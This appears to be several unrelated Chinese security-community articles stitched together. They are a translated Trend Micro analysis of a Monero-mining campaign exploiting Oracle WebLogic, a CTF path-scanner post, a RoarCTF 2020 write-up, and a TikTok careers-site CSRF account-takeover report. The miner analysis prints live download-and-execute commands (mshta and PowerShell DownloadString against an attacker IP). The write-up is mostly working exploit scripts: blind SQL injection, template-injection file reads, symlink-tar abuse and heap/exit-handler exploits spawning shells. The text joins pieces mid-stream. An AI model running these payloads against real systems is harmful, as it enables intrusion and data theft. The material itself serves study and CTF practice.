相同点：都利用了weblogic的远程jndi绑定对象机制，最终都造成了jndi注入
不同点：CVE-2020-2551使用的是iiop协议，利用的是RMI-IIOP传输数据过程中的序列化与反序列化触发漏洞类与漏洞函数；而CVE-2023-21839是通过远程绑定恶意对象后再对其进行查询来调用漏洞函数，使用t3或者iiop协议均可。 | 社区文章 |
# 恶意软件分析：利用Oracle服务器远程执行漏洞进行门罗币挖矿
##### 译文声明
本文是翻译文章，文章原作者 trend micro，文章来源：blog.trendmicro.com
原文地址：<https://blog.trendmicro.com/trendlabs-security-intelligence/oracle-server-vulnerability-exploited-deliver-double-monero-miner-payloads/>
译文仅供参考，具体内容表达以及含义原文为准。
## 简介
随着加密货币的不断发展，黑客们所针对的目标也发生了转变。目前，网络犯罪分子开始调整策略，使用他们的资源来尝试获取加密货币，包括窃取加密货币钱包和攻陷网络设备使其挖掘加密货币。多年来，勒索软件的作者一直在使用比特币作为他们的首选货币。但最近，我们从2017年10月开始，监测到加密货币挖矿恶意软件的爆发，在应用商店中还发现用于加密货币挖矿的移动恶意应用。2017年12月，Digmine加密货币挖矿恶意软件开始通过社交软件进行传播。
而现在，有两个恶意软件利用了CVE-2017-10271（一种允许远程执行代码的Oracle WebLogic WLS-WSAT漏洞，
<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-10271> ），它们分别是XMRig
Menero挖矿恶意软件的64位变体和32位变体。假如某一版本与被感染的Windows计算机不兼容，则会自动运行另一个版本。在下图中，说明了该漏洞的代码仍在开发中。本报告分析了最新版本的样本。
## 利用漏洞投放双重矿工有效载荷
在撰写本文时，我们发现已经存在CVE-2017-10271的EXP，并且该漏洞被用于承载名为Coinminer_MALXMR.JL-PS的有效载荷（
<https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/coinminer_malxmr.jl-ps>
）。当该有效载荷成功执行时，就可以在被感染的主机上运行双重门罗币矿工。
在执行Coinminer_MALXMR.JL-PS之后，会将三个文件下载到主机上：挖掘组件javaupd.exe（被检测为Coinminer_TOOLXMR.JL-WIN64）、自动启动组件startup.cmd（被检测为Coinminer_MALXMR.JL-BAT）以及另一个恶意文件3.exe（被检测为Coinminer_MALXMR.JLT-WIN32）。
根据我们对最新有效载荷的分析，我们发现该恶意软件会根据操作系统的架构来选择运行加密货币矿工。如果是64位版本的系统，就会运行第一个矿工程序；如果是32位系统，那就会运行第二个矿工程序。
## 更多设备会受到多个矿工版本的影响
由于感染过程会首先在主机上安装自动启动组件。以我们所分析的样本为例，恶意软件通过将startup.cmd复制到Startup文件夹来完成这一操作。.cmd文件会在系统启动时打开，然后执行mshta
hxxp://107.181.174.248/web/p.hta 。
随后，将会执行PowerShell命令：
cmd /c powershell.exe -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command iex ((New-Object System.Net.WebClient).DownloadString(‘hxxp://107.181.174.248/web/check.ps1’))
恶意软件会创建两个不同的计划任务：
第一项任务不断尝试下载矿工程序，并且反复执行。该任务将会执行mshta
hxxp://107.181.174.248/web/p.hta，其名称为“Oracle Java
Update”。该任务每80分钟执行一次，其进程与startup.cmd文件相同。
另一个计划任务名称为“Oracle Java”，该任务每天执行，会终止最开始的挖掘组件，并继续执行以下命令：
cmd /c taskkill /im powershell.exe /f
cmd /c taskkill /im javaupd.exe /f
cmd /c taskkill /im msta.exe /f （我们怀疑开发人员在这里出现了错误，推测应该是mshta.exe）
在创建这些计划任务之后，Coinminer_MALXMR.JL-PS将会执行其加密货币挖掘组件javaupd.exe，从而允许挖掘过程开始。它使用如下命令：
cmd.exe /c C:ProgramDatajavaupd.exe -o eu.minerpool.pw:65333 -u {Computer Name}
挖矿过程可能会减慢系统运行速度，并影响性能。
第二个有效载荷，即下载的3.exe文件会检查系统所运行的架构是32位还是64位。基于操作系统的架构，它会下载并执行一个新文件LogonUI.exe（检测为COINMINER_MALXMR.JL-WIN32）。如果第一个64位的加密货币挖掘组件未运行，LogonUI将下载一个.DLL文件（检测为COINMINER_MALXMR.FD-WIN32），随后将下载并执行第二个加密货币挖掘组件sqlservr.exe（检测为COINMINER_TOOLXMR.JL-WIN32）。
第二个组件能与32位Windows兼容，并将运行在32位系统上。此外，它还能够随每次开机自动启动并创建一个计划任务，使它能够每天自动执行：
1. LogonUI已注册为服务；
2. 该服务被命名为“Microsoft Telemetry”；
3. 创建每天执行“Microsoft Telemetry”的计划任务。
该加密货币挖掘恶意软件会尽可能多地感染设备，由于它需要大量的计算能力，这样才能尽可能多地挖掘到加密货币。借助于这两个有效载荷，这两个系统每天都能够自动启动，从而使得恶意软件能长期、持久地感染主机。
该恶意程序也会通过关闭其它软件的方式，以充分利用自己所感染的机器。实际上，它会种植spoosvc.exe，并删除计划任务“Spooler SubSystem
Service”，这是另一个被命名为TROJ_DLOADR.AUSUHI的加密货币矿工软件的已知行为。
## 对用户产生的影响及相应对策
该恶意软件耗费系统的大量CPU和GPU资源，使系统运行得异常缓慢。起初，考虑到其他的影响因素，用户可能不会意识到有威胁的存在。但是，正如我们在上文所提到的，考虑到自2017年以来加密货币挖矿攻击的现象一直在增加，因此用户可能遭受更多恶意软件变种的威胁。网络犯罪分子正在努力尝试以全新的方式来向用户提供挖掘软件。
定期修复和及时对软件进行更新，可以缓解加密货币恶意软件的威胁，并降低系统漏洞被利用的潜在风险。上述漏洞已于2017年10月进行了修复。IT/系统管理员和信息安全专业人士可以考虑加入应用程序白名单或类似的安全机制，以防止可疑的可执行文件被运行或安装。最后，主动监测网络流量将有助于更好地识别恶意软件的特征。
## IoC | 社区文章 |
# Foreword
ctf里面扫描备份文件和敏感路径是必不可少的事情，但是一直令人有点烦躁
用awvs这种扫描力度太猛，耗费时间长。御剑那些又是较倾向于cms的扫描。
ctf中的扫描比较倾向于一些备份文件，如`swp`、`~`、`www.zip`之类，有时候又会参杂一些比赛名称相关的关键字，如xxctf，而且扫描时一般不怎么限制`user-agent`、`referer`等http头，从而也不会很复杂。
就想自己写一个好了。于是就有了这个扫描器。先上一下gayhub地址 <https://github.com/kingkaki/ctf-wscan>
# Aoubt It
整个程序比较简单，就是一些字典生成，然后进行多线程扫描，可以生成相应的扫描记录（ouput目录下
Useage : python ctf-wscan.py [website url]
Example: python ctf-wscan.py http://ctf.test.com
设置了一些可以改动的参数，由于有点懒，就都写入配置文件了
修改config.py中的参数即可
# 关键字
# 用于生成一些特定字符，进行进一步扫描，如可以输入一些 xxctf的关键词
KEY_WORDS = ['flag','ctf','kzhan.php']
# 线程数
NUMBER_OF_THREAD = 10
# 请求方式
# 1 => HEAD 2 => GET
REQUEST_METHOD = 1
# 无效的状态码
# 自定义一些无效的状态码，作为判断的标准
INVALID_CODE = [404, 403]
# 超时时间
TIME_OUT = 3
# 记录缓存日志
CACHE_LOG = True
可以自定义线程数，请求方式等
关键字功能主要是可以根据关键字生成一些文件和路径，进行进一步扫描
# Last
最后，对于扫描来说，字典是至关重要的一部分。是我个人从网上搜罗的，可能不是很全，各位师傅假如有好的字典可以推荐一下哈
假如觉得还行可不可以点颗星星 XD | 社区文章 |
# RoarCTF2020 部分wp
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## WEB
### ezsql
实现注入。
#coding=utf-8
import requests
import threading
import string
import time
import sys
pt = '{}0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_-+[]?<>@!#$%^&*~'
url="http://139.129.98.9:30003/"
sql="user()"
def blindequ(start,end):
ret=""
for i in range(start,end):
for ch in pt:
payload="admn'||(substr({0},{1},1)='{2}')#".format(sql,i,ch)
data = {
"username":payload,
"password":'a'
}
#print data
#req=requests.post(url,data=data,allow_redirects=False)
req=requests.post(url+"/login.php",data=data)
#print req.text
#if req.status_code!=200 and req.status_code!=302:
# continue
if "password error!" in req.text:
ret=ret+ch
sys.stdout.write("[-]{0} Result : -> {1} <-\r".format(threading.current_thread().name,ret))
sys.stdout.flush()
break
print(threading.current_thread().name+"[+]Result : ->"+ret+"<-")
blindequ(1,20)
然后发现需要表名 考虑新特性
# coding=utf-8
import requests
import threading
import string
import time
import sys
import string
import random
# pt = '{}0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_-+[]?<>@!#$%^&*~. '
pt = string.printable+'\xff'
url = "http://139.129.98.9:30003/"
# payload_dict = {k: v for k, v in enumerate(pt)}
sql = "version()"
def blindequ(start, end):
ret = ""
for i in range(start, end):
# for k, ch in enumerate(pt):
k = 0
for k in range(32, 125):
# payload = "admn'||(substr({0},{1},1)='{2}')#".format(sql, i, ch)
# payload = "admi'||((0,'%s',2,1,1,1)>(table/**/information_schema.schemata/**/limit/**/2,1))#" % (ret+chr(k))
payload = "admi'||((0,0,'%s',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0)>(table/**/information_schema.tables/**/limit/**/2,1))#" % (ret+chr(k))
data = {
"username": payload,
"password": 'a'
}
#print data
# req=requests.post(url,data=data,allow_redirects=False)
# if random.random() < 0.3:
# time.sleep(random.random())
req = requests.post(url+"/login.php", data=data)
#print req.text
# if req.status_code!=200 and req.status_code!=302:
# continue
if "password error!" in req.text:
ret = ret+chr(k-1)
sys.stdout.write(
"[-]{0} Result : -> {1} <-\r".format(threading.current_thread().name, ret))
sys.stdout.flush()
break
if k == 124:
break
print(threading.current_thread().name+"[+]Result : ->"+ret+"<-")
blindequ(1, 50)
得到 f11114g表名
username处进行注入，substr的真假分别会报错username error和password error
随便设置一个password，字段是1的时候盲注得到表名，利用mysql8新增的特性构造payload盲注得到flag
import requests
url = 'http://139.129.98.9:30003/login.php'
payload = 'admin\'and/**/substr((table/**/f11114g/**/limit/**/1,1),{},1)=\'{}\'#'
passa='123'
result = ''
for j in range(1,500):
for i in '{qwertyuiopasdfghjklzxcvbnm_@#$%^&*()_=-0123456789,./?|}':
py = payload.format(j,i)
post_data = {'username': py,'password':passa}
re = requests.post(url, data=post_data)
if 'password' in re.text:
result += i
print(result)
### 你能登陆成功吗&你能登陆成功吗Revenge
PostGresql数据库
语法同Mysql不同 ban的也比较多
通过sqlmap找到了一个可以成功sleep()的语句需要bypass空格一下
F12种给了表和注入用的字段
因为是预期解使用同一脚本可打2题。
直接注入即可
import requests
import time
import datetime
result=''
url="http://139.129.98.9:30007/"
sql="1'/**/AND/**/4262=(CASE/**/WHEN/**/(ASCII(SUBSTRING((CURRENT_DATABASE())::text/**/FROM/**/1/**/FOR/**/1))=99)/**/THEN/**/(SELECT/**/4262/**/FROM/**/PG_SLEEP(5))/**/ELSE/**/4262/**/END)/**/AND/**/'1'='1"
for i in range(1,32):
for j in range(32,128):
sql="1'/**/AND/**/4262=(CASE/**/WHEN/**/(ASCII(SUBSTRING((select/**/password/**/from/**/users/**/limit/**/1/**/offset/**/0)::text/**/FROM/**/{}/**/FOR/**/1))={})/**/THEN/**/(SELECT/**/4262/**/FROM/**/PG_SLEEP(5))/**/ELSE/**/4262/**/END)/**/AND/**/'1'='1".format(i,j)
data={
"username":"admin",
"password":sql
}
a=datetime.datetime.now()
ss=requests.post(url,data)
b=datetime.datetime.now()
# print(b-a)
if (b-a).seconds>4:
result+=chr(j)
print(result)
break
### html编辑器
一个HMTL编辑器，可以写入html再通过?view=XXXXX去访问
首先写{{1+2}}，结果查询的时候返回了3,可见view去解析的过程中存在模板注入漏洞。
随便写一点模板注入的代码，确认漏洞存在。
`{% include "/etc/passwd" with raw %}`
使用include构造任意文件读取
`{% include "/usr/local/app/app.js" with raw %}`
读源码
然而读了/etc/profile、/etc/environment、/root/.bash_history等文件都没找到flag
最后在proc下面找到了
`{% include "/proc/self/environ" with raw %}`
## Misc
### 签到
file协议导致后面的会url解码一次所以二次编码flag
直接读到flag
### Hi_433MHZ
通过加补WAV的头或者直接导入原始数据放大频谱图发现规律
手动转01 后再转字符串即可解得flag
### FM
通过分析得知是无线电，给了一个调频的范围，考虑是用软件来解调并且直接听无线电即可。
使用一个脚本来从iq转wav然后以32000MHZ导入进SDR#Sharp
即可听到flag
## Crypto
### Crypto_System
要求不同的消息有同样的签名，根据s相等，解方程 `x1+b1r1=x2+b2r2`构造r2
from pwn import *
from Crypto.Util.number import *
sh=remote("139.129.98.9","30001")
from pwnlib.util.iters import mbruteforce
from hashlib import sha256
import hashlib
from math import gcd
context.log_level = 'debug'
def proof_of_work(sh):
sh.recvuntil("XXXX+")
suffix = sh.recvuntil(')').decode("utf8")[:-1]
log.success(suffix)
sh.recvuntil("== ")
cipher = sh.recvline().strip().decode("utf8")
proof = mbruteforce(lambda x: sha256((x + suffix).encode()).hexdigest() == cipher, string.ascii_letters + string.digits, length=4, method='fixed')
sh.sendlineafter("Give me XXXX:", proof)
proof_of_work(sh)
sh.interactive()
# These three are constants
p = 12039102490128509125925019010000012423515617235219127649182470182570195018265927223
g = 10729072579307052184848302322451332192456229619044181105063011741516558110216720725
def int2str(data, mode="big"):
if mode == "little":
return sum([ord(data[_]) * 2 ** (8 * _) for _ in range(len(data))])
elif mode == "big":
return sum([ord(data[::-1][_]) * 2 ** (8 * _) for _ in range(len(data))])
def get_parameter(m):
x = int2str(m, 'little')
y = pow(g, x, p)
a = bytes_to_long(hashlib.sha256(long_to_bytes(y).rjust(128, b"\0")).digest())
b = pow(a, a, p - 1)
h = pow(g, b, p)
return y, h, b
def sign(m):
y, h, b = get_parameter(m)
r = getStrongPrime(512)
s = (y * powmod(h, r, p)) % p
return str(r),str(s)
def verify(m, r, s):
y, h, b = get_parameter(m)
if s == ((y * powmod(h, r, p)) % p):
return True
else:
return False
sh.recvuntil("Here is the frist message(64 bytes):")
message1 = bytes.fromhex(sh.recvuntil("\n")[:-1].decode()).decode()
sh.recvuntil("Here is the second message(64 bytes):")
message2 = sh.recvuntil("\n")[:-1].decode()
print("message2",message2)
message2 = bytes.fromhex(message2).decode()
sh.recvuntil("The frist message's 'r':")
message1_r = int(sh.recvuntil("\n")[:-1])
sh.recvuntil("Please choice your options:")
message1_y, message1_h, message1_b = get_parameter(message1)
message1_s = (message1_y * pow(message1_h, message1_r, p)) % p
message2_s = message1_s
#s == ((y * powmod(h, r, p)) % p)
message2_y, message2_h, message2_b = get_parameter(message2)
#target = (message2_s * inverse(message2_y,p))%p
#print("p=",p)
#print("target=",target)
#print("message2_h",message2_h)
#x1+b1r1=x2+b2r2
print(message1)
print(message2)
x1 = int2str(message1, 'little')
b1 = message1_b
r1 = message1_r
x2 = int2str(message2, 'little')
b2 = message2_b
tmp = gcd(b2,p-1)
print(tmp)
r2 = (((x1+b1*r1-x2)//tmp)*inverse(b2//tmp,p-1))%(p-1)
print(r2,message2_s)
sh.sendline("3")
sh.recvuntil("Please give me the (r,s) of the second message:")
print("("+str(r2)+","+str(message2_s)+")")
sh.sendline("("+str(r2)+","+str(message2_s)+")")
sh.interactive()
### EASYRSA
先利用beta求出tip，再用tip求出x+y,x * y，解方程的x和y。
e = 65537
#m = bytes_to_long(flag)
#enc = powmod(m,e,n)
n=17986052241518124152579698727005505088573670763293762110375836247355612011054569717338676781772224186355540833136105641118789391002684013237464006860953174190278718294774874590936823847040556879723368745745863499521381501281961534965719063185861101706333863256855553691578381034302217163536137697146370869852180388385732050177505306982196493799420954022912860262710497234529008765582379823928557307038782793649826879316617865012433973899266322533955187594070215597700782682186705964842947435512183808651329554499897644733096933800570431036589775974437965028894251544530715336418443795864241340792616415926241778326529055663
e=65537
enc=10760807485718247466823893305767047250503197383143218026814141719093776781403513881079114556890534223832352132446445237573389249010880862460738448945011264928270648357652595432015646424427464523486856294998582949173459779764873664665361437483861277508734208729366952221351049574873831620714889674755106545281174797387906705765430764314845841490492038801926675266705606453163826755694482549401843247482172026764635778484644547733877083368527255145572732954216461334217963127783632702980064435718785556011795841651015143521512315148320334442235923393757396733821710592667519724592789856065414299022191871582955584644441117223
beta=11864389277042761216996641604675717452843530574016671576684180662096506094587545173005905433938758559675517932481818900399893444422743930613073261450555599
tip = (n-1)//(2*beta)
for i in range(10000):
x_add_y = tip % beta + beta*i
x_mul_y = (tip - x_add_y)//(2*beta)
try:
if iroot(x_add_y**2 - 4*x_mul_y,2)[1]:
print "fxxk"
y = (x_add_y - iroot(x_add_y**2 - 4*x_mul_y,2)[0] )//2
x = x_add_y - y
p = 2*y*beta + 1
q = 2*x*beta + 1
assert(is_prime(p) and is_prime(q))
phi = (p-1)*(q-1)
d = inverse(e,int(phi))
print long_to_bytes(pow(enc,d,n))
except:
pass
### Reverse
midnight魔改题，原来是十六进制reverse，这里是二进制reverse，魔改原来的脚本即可
<https://github.com/ironore15/ctf/blob/master/2020-MidnightSun/rsa_yay/solve.py>
from Crypto.Util.number import *
from gmpy2 import *
from itertools import product
n = 158985980192501034004997692253209315116841431063210516613522548452327355222295231366801286879768949611058043390843949610463241574886852164907094966008463721486557469253652940169060186477803255769516068561042756903927308078335838348784208212701919950712557406983012026654876481867000537670622886437968839524889
ct = 103728452309804750381455306214814700768557462686461157761076359181984554990431665209165298725569861567865645228742739676539208228770740802323555281253638825837621845841771677911598039696705908004858472132222470347720085501572979109563593281375095145984000628623881592799662103680478967594601571867412886606745
max_idx = 1
pq_list = [(1,1)]
'''
for idx in range(1, 512):
mod = 2 ** (idx + 1)
new_pq_list = []
for p, q in pq_list:
for i, j in product(range(2), repeat=2):
np = i * 2 ** idx + p
nq = j * 2 ** idx + q
if (np * nq) % mod != n % mod:
continue
rp_min = int('{:b}'.format(np)[::-1].ljust(512, '0'), 2)
rq_min = int('{:b}'.format(nq)[::-1].ljust(512, '0'), 2)
rp_max = int('{:b}'.format(np)[::-1].ljust(512, '1'), 2)
rq_max = int('{:b}'.format(nq)[::-1].ljust(512, '1'), 2)
if n < rp_min * rq_min or rp_max * rq_max < n:
continue
new_pq_list.append((np, nq))
print(len(new_pq_list))
pq_list = new_pq_list
for p,q in pq_list:
#p=13299413764048930133302138749466137829470129709829516069778014310838093114516400589047888072065037035007023741009041669893387899867083575829855377403280423
#q=11954360020159164180709939019047385560179850436770100207193049651260543609501871575909448998378290922795824941066935928157032997160163537467165365731882943
if p.bit_length() == q.bit_length()==512:
d = inverse(0x10001, (p - 1) * (q - 1))
pt = pow(ct, d, n)
flag = long_to_bytes(pt)
'''
p=13299413764048930133302138749466137829470129709829516069778014310838093114516400589047888072065037035007023741009041669893387899867083575829855377403280423
q=11954360020159164180709939019047385560179850436770100207193049651260543609501871575909448998378290922795824941066935928157032997160163537467165365731882943
d = inverse(0x10001, (p - 1) * (q - 1))
pt = pow(ct, d, n)
flag = long_to_bytes(pt)
print flag
### ECDSA
不同消息有同样的签名，切入点在可以更改公钥Q，还有就是，r是dG.x，而dG.x ==
-dG.x,由于公钥可控，相当于签名验证时的私钥k可控，所以可以自己构造方程（s1==s2）解得一个自己的私钥K，然后再用这个私钥给msg签名得到s，r =
dG.x,签名时的d自己生成就好。
from pwn import *
from Crypto.Util.number import *
sh=remote("139.129.98.9","30002")
from pwnlib.util.iters import mbruteforce
from hashlib import sha256
import hashlib
from math import gcd
context.log_level = 'debug'
a=0
b=7
q=0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F
gx=0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798
gy=0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8
order=0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
ecc = EllipticCurve(GF(q), [a,b])
G = ecc(gx,gy)
import hashlib
def sha1(content):
return hashlib.sha1(content).digest()
def proof_of_work(sh):
sh.recvuntil("XXXX+")
suffix = sh.recvuntil(')').decode("utf8")[:-1]
log.success(suffix)
sh.recvuntil("== ")
cipher = sh.recvline().strip().decode("utf8")
proof = mbruteforce(lambda x: sha256((x + suffix).encode()).hexdigest() == cipher, string.ascii_letters + string.digits, length=4, method='fixed')
sh.sendlineafter("Give me XXXX:", proof)
proof_of_work(sh)
sh.recvuntil("Here is the frist message(64 bytes):")
msg1 = sh.recvuntil("\n")[:-1]
sh.recvuntil("Here is the second message(64 bytes):")
msg2 = sh.recvuntil("\n")[:-1]
message = hex(bytes_to_long(msg1))[2:]
e1=bytes_to_long(sha1(msg1))
e2=bytes_to_long(sha1(msg2))
print("e1=",e1)
print("e2=",e2)
#pubkey = sh.recvuntil("\n")[:-2].decode()
#r=[d * G].x
d=12321
r=int((d*G)[0])
new_k = ((-e1-e2)*inverse(2*r,order))%order
new_G = new_k * G
new_S = ((e1-e2)*inverse(2*d,order))%order
#new_S = ((e1 + new_k*r)*inverse(d,order))%order
newpubkey = hex(new_G[0]).replace("0x","").rjust(64,"0")+hex(new_G[1]).replace("0x","").rjust(64,"0")
newsignature = hex(r).replace("0x","").rjust(64,"0")+hex(new_S).replace("0x","").rjust(64,"0")
sh.recvuntil("Please choice your options:")
sh.sendline("3")
sh.recvuntil("Please give me your public_key(hex):")
sh.sendline(newpubkey)
sh.recvuntil("Please choice your options:")
sh.sendline("6")
sh.recvuntil("Please give me the signature(hex) of the frist message:\n")
sh.sendline(newsignature)
sh.recvuntil("Please give me the signature(hex) of the second message:\n")
sh.sendline(newsignature)
sh.interactive()
## Reverse
### slime_war
游戏题，通过CE可以发现其中有几个Secret可以获得，通过不断改发现应该是有5个secret来触发flag,并且都需要手玩。
经过IDA调试发现以下几点：
1. 打败boss
2. 进入入口得隐藏房间
3. 去买一个magicbox 去第二关的一个地点按t 然后最短路径走到t那个
4. 输入whosyourdaddy
5. 打出伤害为一个hash值（爆破后发现为666）
全部触发后得到flag
爆破伤害的hash
import idaapi
import idc
flag=0
for flag in range(467, 10000):
GetDebuggerEvent(WFNE_SUSP, -1)
SetRegValue(10, 'eax')
GetDebuggerEvent(WFNE_SUSP, -1)
SetRegValue(0x140001BC2, 'rip')
GetDebuggerEvent(WFNE_SUSP, -1)
RunTo(0x140001BCE)
GetDebuggerEvent(WFNE_SUSP, -1)
SetRegValue(flag, 'ecx')
GetDebuggerEvent(WFNE_SUSP, -1)
RunTo(0x140001CD8)
GetDebuggerEvent(WFNE_SUSP, -1)
RunTo(0x140001C09)
GetDebuggerEvent(WFNE_SUSP, -1)
test = GetRegValue("ZF")
by2= get_bytes(0x00014FDF0, 5)
print (by2)
if(test==1):
print ("Found:")
print flag
break
GetDebuggerEvent(WFNE_SUSP, -1)
## Pwn
### qtar
rename获得该名字的可读权限，x获得可解压权限，上传一个带有指向/home/ctf/flag软链接的压缩包，通过改名获得二次解压的权限，然后直接读即可
from pwn import *
import os
sla = lambda x, y: p.sendlineafter(x, y)
context.log_level = 'debug'
p = remote('47.104.178.87', 49125)
def c(file, rename):
sla('>', 'c')
sla('Filename: /tmp/', file)
sla(']','y')
sla('Arcname:', rename)
p.recvuntil('File compressed as ')
re = p.recv(32)
success('COMPFILE : '+re)
return re
def x(file):
sla('>', 'x')
sla('Filename:', file)
def u(content):
sla('>', 'u')
sla('Content:', content)
p.recvuntil('/tmp/')
re = p.recv(32)
success('UPFILE : '+re)
return re
name = '/home/ctf/flag'
os.system('rm flagln')
os.system('ln -snf {} flagln'.format(name))
#os.system('echo 233333>flagln')
if 'flagln' not in os.listdir(os.getcwd()):
exit(0)
os.system('tar -cvzf flag.tar flagln')
with open('flag.tar', 'r') as f:
elf = f.read()
vic1 = u('123')
vic = c(vic1, '123')
c(vic1, 'flagln')
tar1 = u(elf)
tar = c(tar1, vic)
x(tar)
x(vic)
sla('>','r')
sla('Filename:','flagln')
p.interactive()
### 2a1
libc_start_main结束后执行exit，里面有个被fs:0x30加密过的dl_fini的值，通过泄露，算出fs:0x30，然后再加密system填入，参数填入binsh，拿到shell
#!/usr/bin/python
from pwn import *
import sys
#from LibcSearcher import LibcSearcher
context.log_level = 'debug'
context.arch='amd64'
local=0
binary_name='2a1'
libc_name='libc-2.23.so'
if local:
p=process("./"+binary_name)
libc=ELF("./"+libc_name)
#p = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "./"+binary_name])
#p = process(argv=["./qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "-g", "1234", "./"+binary_name])
else:
p=remote('47.104.178.87',38378)
e=ELF("./"+binary_name)
libc=ELF("./"+libc_name)
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,'\x00'))
def ROR(i,index):
tmp = bin(i)[2:].rjust(64,"0")
for _ in range(index):
tmp = tmp[-1] + tmp[:-1]
return int(tmp, 2)
def ROL(i,index):
tmp = bin(i)[2:].rjust(64, "0")
for _ in range(index):
tmp = tmp[1:] + tmp[0]
return int(tmp, 2)
ru('Gift: ')
libc_base = int(p.recvline()[:-1],16)-libc.sym['alarm']
print(hex(libc_base))
ptr = libc_base+0x3c5c58
print(hex(ptr))
dl_fini=libc_base+0x3daaf0
sa('where to read?:',p64(ptr))
ru('data: ')
encode_ptr = u64(p.recv(8))
print(hex(encode_ptr))
dl_fini_1 = ROL(dl_fini,0x11)
print(hex(dl_fini),hex(dl_fini_1))
key = dl_fini_1 ^ encode_ptr
print(hex(key))
exit_funcs=libc_base+0x3c45f8
system_addr = libc_base+libc.sym['system']
binsh = libc_base+0x18ce17
encode_system = key ^ ROL(system_addr,0x11)
sa('where to write?:',p64(exit_funcs))
print(hex(system_addr))
sla('msg:',b'a'*0x8+p64(1)+p64(4)+p64(encode_system)+p64(binsh))
ia()
### easy_pwn
3处的edit中的read存在堆溢出，可以在堆中任意写，构造两个可以show的string，通过前一处的字符串溢出到后一个string类的字符串指针，修改指针末尾为’\x10’指向堆，泄露堆地址，再修改为unsorted
bin的fd，泄露libc地址，最后指向free_hook修改为system，show的时候完成system(“/bin/sh”)
#!/usr/bin/python
from pwn import *
import sys
context.log_level = 'debug'
context.arch='amd64'
local=0
binary_name='pwn'
libc_name='libc.so.6'
if local:
p=process("./"+binary_name)
libc=ELF("./"+libc_name)
else:
p=remote('47.105.44.8',35793)
e=ELF("./"+binary_name)
libc=ELF("./"+libc_name)
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,'\x00'))
def cho(num):
sla("choice:",str(num))
def add():
cho(1)
sl('aaaaaaaa -> /bin/sh\x00bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb')
sl('ccccccccccccccccccc -> ddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd')
sl('exit')
def show():
cho(2)
def gf():
cho(3)
def edit(name,size,data):
cho(4)
sla("Non-Terminal:", name)
sla("size:",str(size))
sd(data)
add()
heap_rub = 'g'*0x18+p64(0x21)+p64(0)*3+p64(0x51)+'d'*0x40+p64(0)+p64(0x81)
edit('c'*19,0x80000000,heap_rub+'\x10')
show()
ru('Grammar:\n')
p.recv(2)
heap_base = u64(p.recv(8))-0x250
print(hex(heap_base))
gf()
edit('g'*19,0x80000000,heap_rub+p64(heap_base+0x600)+p64(0x400))
show()
libc_base = u64(p.recvuntil('\x7f\x00\x00')[-8:].ljust(8, '\x00')) - 0x3c4ca8
print(hex(libc_base))
free_hook = libc_base+libc.sym['__free_hook']
system = libc_base+libc.sym['system']
edit('g'*19,0x80000000,heap_rub+p64(free_hook)+p64(8))
a = '\x00'*8
edit(a,0x8,p64(system))
print(hex(system))
show()
ia() | 社区文章 |
该网站(careers.tiktok.com)漏洞报告于2020年10月17日通过Hackerone提交至TikTok，TikTok在12天内修复了该漏洞
## **一 前言**
该网站为TikTok的招聘网站,该网站使用Facebook和Linkedin实现单点登录。由于存在CSRF漏洞以及开放的重定向漏洞,恶意攻击者可能会接管该网站用户的账户。
该漏洞仅限于TikTok的招聘网站，不会影响TikTok 的其他网站或移动应用程序
## **二 CSRF漏洞**
为了实现账户接管,受害者使用自己Facebook账号在careers.tiktok.com上进行身份验证，同意与TikToK共享数据。此外受害者要在Facebook上有一个活跃的会话。
TikTok没有有效防范在登录点和Facebook交互中可能存在的CSRF问题。因此，恶意攻击者使用一个微不足道的CSRF攻击，就可以接管受害者账户：
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://careers.tiktok.com/api/v1/user/facebook/login">
<input type="hidden" name="next_url" value="https://redacted.tiktok.com/" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
如果我们忽略以下步骤，那么在常规登录流程结束后，受害者将被认证到他们自己的帐户中。
## **三 身份验证**
如果Referer头存在于<https://careers.tiktok.com/api/v1/user/facebook/login>
的请求中，则高度敏感的令牌会泄漏给潜在的攻击者控制的网站。
使用此令牌，攻击者就可以替代受害者进行身份验证。因为对于TikTok，无法验证该令牌的发起者是攻击者还是受害者。
## **四 利用步骤**
就像Barth等人在2008年引入的web攻击者模型一样(<https://www.adambarth.com/papers/2008/barth-jackson-mitchell.pdf> ),我们设法让受害者访问攻击者控制的网站。此外，
如前所述，我们需要受害者将其Facebook帐户链接到TikTok的职业门户网站。
(0) 保存上述登录CSRF PoC并启动一个简单的web服务器：
$ python -m http.server 1234
(1) 通过ngrok反向代理以及安全传输层协议(TLS)获取一个具有有效证书的公共(子)域。方便进一步的漏洞利用
$ ngrok http 1234
(2) 受害者浏览<https://abcdefghij.ngrok.io>
